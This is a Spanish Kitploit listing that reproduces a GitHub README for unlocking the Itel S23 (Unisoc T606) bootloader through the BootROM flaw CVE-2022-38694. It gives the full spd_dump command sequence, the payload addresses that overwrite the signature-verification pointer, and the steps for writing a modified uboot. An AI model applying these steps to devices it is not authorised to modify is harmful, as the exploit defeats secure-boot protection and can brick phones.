Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ubl-itel-s23 — Desbloquear Bootloader para Itel S23 (S665L) / Unisoc T606 usando CVE-2022-38694 | Kitploit
Herramientas/GitHubGitHub/aureliusivaninvenioptl/ubl-itel-s23
Seguridad AndroidSeguridad de Sistemas EmbebidosReconocimientoAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilSeguridad de HardwareAprendizaje y EducaciónExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubaureliusivaninvenioptl/ubl-itel-s23

ubl-itel-s23

Desbloquear Bootloader para Itel S23 (S665L) / Unisoc T606 usando CVE-2022-38694

Ver Repositorio
7hace 6 mesesAún no revisado

Desbloquear Bootloader — Itel S23 (S665L) / Unisoc T606

Guía para desbloquear el bootloader en el Itel S23 (S665L) usando el exploit CVE-2022-38694 en el chipset Unisoc T606 (UMS9230).

Información del Dispositivo

PropiedadValor
MarcaItel
ModeloS665L (S23)
Android12 (SDK 31)
CompilaciónS665L-F065OPRSUVApAqAr-S-GL-20250207V533
SoCUnisoc T606 (UMS9230)
CPU2x Cortex-A75 + 6x Cortex-A55 (ARMv8, 64 bits)
AlmacenamientoUFS
RanuraA/B

Requisitos Previos

  • Linux (probado en Fedora 43)
  • adb y fastboot instalados
  • Cable de datos USB (no solo de carga)
  • Batería al menos al 80%
  • Desbloqueo OEM habilitado en Opciones de Desarrollador
  • Depuración USB habilitada en Opciones de Desarrollador
  • Respalda todos los datos (se borrarán tras el desbloqueo)

Estructura de Archivos

root@kitploit:~
ubl-itel-s23/
├── README.md
├── CLAUDE.md
├── recovery/
│   ├── TWRP_S665L.img              # Imagen de recuperación TWRP
│   └── OrangeFox_S665L.img         # Imagen de recuperación OrangeFox
└── tools/
    └── spreadtrum_flash_linux/
        ├── spd_dump                 # Herramienta de comunicación BootROM
        ├── gen_spl-unlock           # Generador de payload de desbloqueo
        ├── unlock.sh                # Script automatizado de desbloqueo
        ├── fdl1-dl.bin              # Cargador de primera etapa
        ├── fdl2-dl.bin              # Cargador de segunda etapa
        ├── fdl2-cboot.bin           # Uboot modificado para desbloqueo
        ├── custom_exec_no_verify_65015f08.bin  # Payload del exploit CVE
        ├── custom_exec_no_verify_65015f48.bin  # Payload del exploit CVE (alt)
        ├── splloader.bin            # Copia de seguridad de SPL (generada durante el proceso)
        ├── uboot.bin                # Copia de seguridad de uboot (generada durante el proceso)
        ├── spl-unlock.bin           # Payload de desbloqueo (generado durante el proceso)
        └── ums9230/itel/            # Binarios FDL para Itel UMS9230

Cómo Funciona (CVE-2022-38694)

Este exploit aprovecha una vulnerabilidad en el BootROM de Unisoc que permite escribir datos en una región de memoria antes de que se complete la verificación de firma.

root@kitploit:~
Normal:   BootROM → verify(FDL1) → RECHAZAR (sin firma)
Exploit:  BootROM → sobrescribe verify() → verify = siempre_verdadero
               → acepta(FDL1) → ACEPTAR → desbloquea bootloader

El payload custom_exec_no_verify (96 bytes) sobrescribe el puntero de función de verificación de firma en la dirección 0x65015f08, haciendo que el BootROM acepte cualquier FDL1 sin verificar su firma.

Proceso de Desbloqueo

Configuración Inicial

  1. Instala reglas udev para acceso USB:
root@kitploit:~
sudo tee /etc/udev/rules.d/51-android.rules << 'EOF'
# Google/Android (ADB y Fastboot)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
# Spreadtrum/Unisoc
SUBSYSTEM=="usb", ATTR{idVendor}=="1782", MODE="0666", GROUP="plugdev"
EOF
sudo udevadm control --reload-rules && sudo udevadm trigger
  1. Copia los archivos FDL y los payloads del exploit al directorio de trabajo:
root@kitploit:~
cd tools/spreadtrum_flash_linux
cp ums9230/itel/fdl1-dl.bin ums9230/itel/fdl2-dl.bin ums9230/itel/fdl2-cboot.bin .
cp ums9230/custom_exec_no_verify_65015f08.bin ums9230/custom_exec_no_verify_65015f48.bin .
chmod +x spd_dump gen_spl-unlock

Paso 1 — Respaldo de splloader y uboot, borrado de splloader

El teléfono debe estar encendido y conectado por USB. Después de este paso, el teléfono no arrancará hasta el Paso 6.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f48 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  r splloader r uboot e splloader e splloader_bak reset

Respalda splloader.bin y uboot.bin en un lugar seguro:

root@kitploit:~
cp splloader.bin uboot.bin backup_spl/

Paso 2 — Generar payload de desbloqueo

root@kitploit:~
./gen_spl-unlock splloader.bin 0xfd28

Salida: spl-unlock.bin

El desplazamiento 0xfd28 es específico de este firmware. Verifica el tamaño de splloader.bin — el desplazamiento debería coincidir con el tamaño del archivo.

Paso 3 — Flashear uboot modificado

Entra en modo BROM: apaga el teléfono, mantén presionado Bajar Volumen, luego conecta el USB.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w uboot fdl2-cboot.bin reset

Paso 4 — Enviar payload de desbloqueo

Entra nuevamente en modo BROM, luego:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl spl-unlock.bin 0x65000800

Si ves device removed, exiting... significa éxito.

Paso 5 — Verificar estado de desbloqueo

Entra nuevamente en modo BROM, luego:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  verbose 2 read_part miscdata 8192 64 m.bin reset
  • recv 64 zero = aún BLOQUEADO (falló)
  • recv 32 string + hash data = DESBLOQUEADO (éxito)

Paso 6 — Restaurar splloader y uboot

Entra nuevamente en modo BROM, luego:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w splloader splloader.bin w uboot uboot.bin reset

El teléfono se reiniciará. Selecciona Restablecer valores de fábrica cuando aparezca la Recuperación de Android.

Verificar mediante ADB

Después de que el teléfono arranque en Android:

root@kitploit:~
adb shell getprop ro.boot.vbmeta.device_state
# Esperado: unlocked

adb shell getprop ro.boot.flash.locked
# Esperado: 0

Notas Importantes

  • Tras desbloquear, el teléfono mostrará una pantalla de advertencia al iniciar (es normal)
  • Las actualizaciones OTA probablemente dejarán de funcionar
  • La garantía se anula
  • No elimines splloader.bin ni uboot.bin — son necesarios para restaurar si algo sale mal
  • El Paso 1 usa la dirección 0x65015f48, los pasos 3-6 usan 0x65015f08

Créditos y Referencias

Herramientas

  • spd_dump / CVE-2022-38694 Unlock Bootloader de TomKing062 / QuTick102 https://github.com/TomKing062/CVE-2022-38694_unlock_bootloader

  • Recovery Collections & Spreadtrum Flash Tool (Linux) de Massatriof16 https://massatriof16.github.io/recovery-collections/#alat

  • unisoc-unlock (alternativa en Python) de patrislav1 https://github.com/patrislav1/unisoc-unlock

Guías y Referencias

  • Itel S23 Unlock Bootloader Guide — XDA Forums
  • How to unlock Unisoc (SPD) bootloader using Identifier Token — Hovatek
  • SUBUT — Spreadtrum/Unisoc Bootloader Unlock Tool (Web)

Imágenes de Recuperación

  • TWRP y OrangeFox para Itel S23 — de Massatriof16 Recovery Collections
Descargar herramienta